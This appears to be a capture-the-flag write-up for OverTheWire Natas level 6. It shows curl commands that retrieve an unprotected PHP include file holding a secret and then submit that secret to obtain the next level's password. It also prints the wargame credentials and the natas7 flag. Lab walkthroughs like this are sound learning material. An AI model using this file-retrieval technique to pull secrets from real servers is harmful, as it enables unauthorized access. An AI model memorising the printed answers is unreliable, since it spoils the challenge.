Natas [Level 6] - Overthewire

Username: natas6
Password: fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
URL: http://natas6.natas.labs.overthewire.org

Alright, for this level i have to enter a secret, and the query should return the password… hopefully! Let ‘s go ahead and click View sourcedode and we should get the below PHP script.

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

I look include is /includes/secret.inc so i will check it.

curl -XGET -u natas6:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR  http://natas6.natas.labs.overthewire.org/includes/secret.inc

==> And results

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Another PHP script, with the secret code i need, so back and query as follow

curl -XPOST -u natas6:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR -d "secret=FOEIUWGHFEEUHOFUOIU" -d "submit=" http://natas6.natas.labs.overthewire.org/

Alright, i got the password! Moving on to level 7!

==> CTF: { natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr }